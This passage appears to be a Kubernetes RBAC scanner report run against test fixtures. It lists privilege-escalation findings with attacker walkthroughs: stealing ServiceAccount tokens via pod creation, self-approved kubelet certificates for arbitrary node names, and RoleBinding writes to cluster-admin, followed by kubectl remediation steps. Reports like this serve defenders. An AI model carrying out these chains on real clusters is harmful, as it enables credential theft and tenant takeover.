Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:vulnerable:privileged-reader (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/vulnerable/privileged-reader Namespace 7.0
ServiceAccount/vulnerable/privileged-reader can reach namespace-admin in `rbac-ns-fixtures` in 2 hop(s)
Scope · Namespace Source ServiceAccount/vulnerable/privileged-reader → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
2. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  4. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  2. Step 2 of 2 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:vulnerable:privileged-reader (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 2 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Namespace 6.8
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `cutres` in 4 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin in cutres: every workload, Secret, and ConfigMap inside cutres becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner Resource: Namespace/cutres/cutres

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that ends at namespace-admin inside cutres. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside cutres but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour via pod_create_token_theft (create pods): can create pods that mount ServiceAccount cutres/cutres-detour
4. ServiceAccount/cutres/cutres-detour → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner yields full takeover of cutres: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-joiner (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/cutres/cutres-detour ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/cutres/cutres-detour, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside cutres. They read every Secret and ConfigMap in cutres, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/cutres/cutres-detour
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount cutres/cutres-detour
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside cutres: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in cutres granting RBAC writes: kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in cutres whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Namespace 6.8
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `deepchain-tenant` in 4 hop(s)
Scope · Namespace Source ServiceAccount/nodeid-fixtures/nodeid-joiner → namespace-admin in deepchain-tenant: every workload, Secret, and ConfigMap inside deepchain-tenant becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner Resource: Namespace/deepchain-tenant/deepchain-tenant

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that ends at namespace-admin inside deepchain-tenant. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside deepchain-tenant but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder via pod_create_token_theft (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
4. ServiceAccount/deepchain-tenant/deepchain-binder → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/nodeid-fixtures/nodeid-joiner yields full takeover of deepchain-tenant: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/nodeid-fixtures/nodeid-joiner (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:nodeid-fixtures:nodeid-joiner (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Namespace 6.8
ServiceAccount/nodeid-fixtures/nodeid-joiner can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
